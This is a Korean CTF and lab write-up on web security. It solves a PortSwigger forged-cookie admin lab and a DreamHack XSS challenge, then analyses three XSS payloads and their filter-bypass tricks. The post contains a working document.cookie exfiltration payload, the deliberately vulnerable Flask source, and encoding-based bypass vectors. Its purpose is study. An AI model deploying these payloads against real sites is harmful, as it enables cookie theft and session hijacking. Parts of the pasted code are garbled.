EVI$ION Write up - 1

Tamszero·2024년 9월 19일

이비전

목록 보기
1/12

Portswigger Lab-1

문제: This lab has an admin panel at /admin, which identifies administrators using a forgeable cookie.
Solve the lab by accessing the admin panel and using it to delete the user carlos.
You can log in to your own account using the following credentials: wiener:peter

쿠키/세션을 이용하여 admin계정 탈취 후 admin panel을 접속하여 카를로스라는 계정 삭제

풀이: 마음대로 로그인창에 입력을 하여 로그인을 시도해보면 쿠키창에 그 세션값이 나온다.
하지만 제공된 계정 wiener:peter로 접속을 해보면
name: Admin
value: false
라고 뜨는 것을 볼 수 있다

이때 벨류값을 false->true로 고치고
다시 페이지로 돌아가보면

admin panel이 활성화 되어있는 화면을 볼 수 있다
패널로 들어가 카를로스 계정을 삭제하면 완료

DreamHack XXS-1

문제 :
여러 기능과 입력받은 URL을 확인하는 봇이 구현된 서비스입니다.
XSS 취약점을 이용해 플래그를 획득하세요. 플래그는 flag.txt, FLAG 변수에 있습니다.

파이썬코드:

#!/usr/bin/python3
from flask import Flask, request, render_template
from selenium import webdriver
from selenium.webdriver.chrome.service import Service
import urllib
import os

app = Flask(name)
app.secret_key = os.urandom(32)

//FLAG: 애플리케이션에서 사용할 플래그 값을 flag.txt 파일에서 읽어옵니다. 파일이 없으면 기본적으로 "[FLAG]" 값이 사용됩니다.

try:
FLAG = open("./flag.txt", "r").read()
except:
FLAG = "[FLAG]"

URL 읽기 함수: read_url

def readurl(url, cookie={"name": "name", "value": "value"}):
cookie.update({"domain": "127.0.0.1"})
try:
service = Service(executable_path="/chromedriver")
options = webdriver.ChromeOptions()
for
in [
"headless",
"window-size=1920x1080",
"disable-gpu",
"no-sandbox",
"disable-dev-shm-usage",
]:
options.addargument()
driver = webdriver.Chrome(service=service, options=options)
driver.implicitly_wait(3)
driver.set_page_load_timeout(3)
driver.get("http://127.0.0.1:8000/")
driver.add_cookie(cookie)
driver.get(url)
except Exception as e:
driver.quit()

    # return str(e)
    return False
driver.quit()
return True


주어진 URL을 브라우저로 로드하는 함수입니다.
도메인 "127.0.0.1"에 대한 쿠키를 설정한 후, 해당 URL을 브라우저에서 자동으로 로드합니다.

XSS 검사 함수: check_xss

def check_xss(param, cookie={"name": "name", "value": "value"}):
url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
return read_url(url, cookie)

전달받은 param 값이 XSS 공격에 취약한지 검사하는 함수입니다.
URL 인코딩: urllib.parse.quote()를 통해 URL에 포함될 수 있는 문자를 인코딩하여 
XSS를 유발할 수 있는 특수 문자를 변환합니다.
read_url 함수를 사용해 해당 URL을 로드하고, vuln의 엔드포인트 접속

@app.route("/")
def index():
return render_template("index.html")

/vuln (취약 페이지):

@app.route("/vuln")
def vuln():
param = request.args.get("param", "")
return param

param이라는 GET 매개변수를 받아 그대로 출력하는 취약 페이지입니다. 
이 페이지는 사용자가 입력한 데이터를 제대로 검증하지 않고 그대로 반환하므로 XSS 공격에 취약합니다.

@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "GET":
return render_template("flag.html")
elif request.method == "POST":
param = request.form.get("param")
if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
return ''

    return '<script>alert("good");history.go(-1);</script>'

memo_text = ""

@app.route("/memo")
def memo():
global memo_text
text = request.args.get("memo", "")
memo_text += text + "\n"
return render_template("memo.html", memo=memo_text)

app.run(host="0.0.0.0", port=8000)

flag값은 서버 로컬 경로에 flag.txt파일로 존재, /flag 페이지에 파라미터 값을 입력하면 쿠키값을 생성해 flag로 저장한다


vuln(xss) page 페이지를 통해서 문으로 alert창을 실행한 것을 확인,
memo 페이지를 통해 memo?memo= 뒤에 오는 입력값이 메모장에 출력되는 것을 확인
이 메모창을 통해 flag값을 출력해야한다

플래그값은 쿠키로 저장되어 있기때문에 쿠키를 /memo 경로에 출력하도록
파라미터를 통해 요청을 보낸다

<script>location.href="http://127.0.0.1:8000//memp?memo="+document.cookie;</script>

이때 http://127.0.0.1:8000/와 같이 루프백 주소를 이용해야지
서버로컬주소에서 생성된 플래그 값을 가져올 수 있다

JS 공격구문 조사

1. Fires when a CSS animation ends

	style>@keyframes x{}</style><xss style="animation-		name:x"onanimationend="alert(1)"></xss> 
 

코드 분석:
@keyframes x{}

  • CSS 애니메이션을 정의하는 구문

onanimationend="alert(1)"

  • 애니메이션이 끝나는 시점에 실행될 이벤트 핸들러. 애니메이션이 종료되면 alert(1)이 실행되어 브라우저에 경고창이 뜬다.

XSS 공격 위험성:
onanimationend 이벤트는 자바스크립트 코드가 실행될 수 있도록 하는 공격 벡버이다.
특정 이벤트가 발생하면(이 경우에는 애니메이션이 끝났을 때), 브라우저에서 해당 이벤트에 연결된 자바스크립트 코드를 실행
만약 이 코드를 악의적인 사이트나 사용자 입력에서 불러온다면, 악의적인 자바스크립트를 주입하여 사용자 정보를 탈취하는 등의 공격을 할 수 있다
이 코드의 alert(1)은 단순히 경고창을 띄우는 예시일 뿐이지만, 실제 공격에서는 훨씬 더 위험한 작업(예: 쿠키 정보 탈취, 세션 하이재킹 등)을 수행할 수 있다

2. Wrong src values with onerror

"'`><\x3Cimg src=xxx:x onerror=javascript:alert(1)>

코드 분석:
"'>

  • 태그를 닫는 기호를 사용하여 이전에 열린 태그를 강제로 닫고, 이후에 다른 HTML 또는 JavaScript 코드를 삽입할 수 있게 도와줌
    "와 '는 문자열을 끊기 위한 것일 수 있으며, >는 태그를 닫아 이후 코드를 HTML에서 새로운 태그로 인식하게 만들어준다.

<\x3Cimg

  • \x3C는 ASCII 코드에서 <의 16진수 표현이다. 브라우저는 이 부분을 < img > 태그로 해석하게 됩니다.

src=xxx:x

  • img 태그에서 src 속성은 이미지를 로드하는 경로를 나타내지만, 이 예시에서는 xxx:x라는 잘못된 값을 사용하여 이미지 로드가 실패하도록 의도적으로 설정

onerror=javascript:alert(1)

  • onerror는 이미지 로드가 실패했을 때 실행되는 이벤트입니다. 잘못된 src로 인해 이미지 로드에 실패하게 되고, 그 결과 onerror 이벤트 핸들러가 호출됩니다. 이 핸들러에는 javascript:alert(1)이라는 코드가 포함되어 있어, 경고창(alert)이 나타난다.

XSS 공격 가능성:
웹 애플리케이션에서 사용자 입력을 제대로 검증하지 않고 HTML로 출력할 경우 발생할 수 있는 반사형 XSS 공격의 예이다.
공격자는 이 코드를 웹사이트의 입력 필드에 넣거나, URL에 포함시켜 브라우저에서 악성 스크립트를 실행하도록 유도할 수 있습니다.
onerror 이벤트를 사용한 방식은 이미지 로드 실패 시 자바스크립트 코드를 실행할 수 있게 함으로써 XSS 공격을 가능하게 합니다.
또한 \x3C(16진수), <(10진수), %3C(URL 인코딩) 과 같이 아스키코드를 통해 필터링을 우회하여 악성 스크립트문을 성공적으로 삽입할 수 있게한다.

3. Wrong src values with onerror

<svg><script>//&NewLine;confirm(1);</script </svg>

코드 분석:
< svg >

  • 웹상에서 벡터 이미지를 구현하기 위해 사용하는 마크업 태그이다. HTML 상에 코드를 그대로 넣어줌으로 이미지를 따로 로드하지 않아도 된다.

// & NewLine;confirm(1);

  • //: 자바스크립트에서 주석을 나타내는 기호이다.
    & NewLine;은 줄바꿈을 나타내는 엔티티인데 주석// 뒤에 있는 텍스트가 같은 줄에 있으면 주석으로 처리되지만, 줄이 바뀌면 그 이후 코드는 자바스크립트로 정상적으로 해석된다.
    따라서 $ NewLine; 은 무시되지만 줄바꿈 그 이후의 코드는 정상적으로 작동하게 된다

confirm(1);

  • 브라우저의 확인창을 띄우는 자바스크립트 함수이다. 이는 단순한 예시이지만, 실제 공격에서는 악의적인 코드를 삽입할 수 있다.

XSS 공격 가능성:
이 코드는 SVG 태그 내부에서 스크립트를 실행하는 방법을 사용합니다.
//& NewLine;을 사용하여 자바스크립트 구문 사이에 특수 문자를 추가함으로써 필터링을 우회 가능
불완전하게 닫힌 태그 (</script)는 브라우저가 자동으로 완성해 주기 때문에 필터링 우회 가능
웹 애플리케이션이 < svg > 태그나 < script > 태그에 대한 검증을 제대로 하지 않으면, 공격자가 악의적인 스크립트를 삽입해 실행할 수 있습니다.

0개의 댓글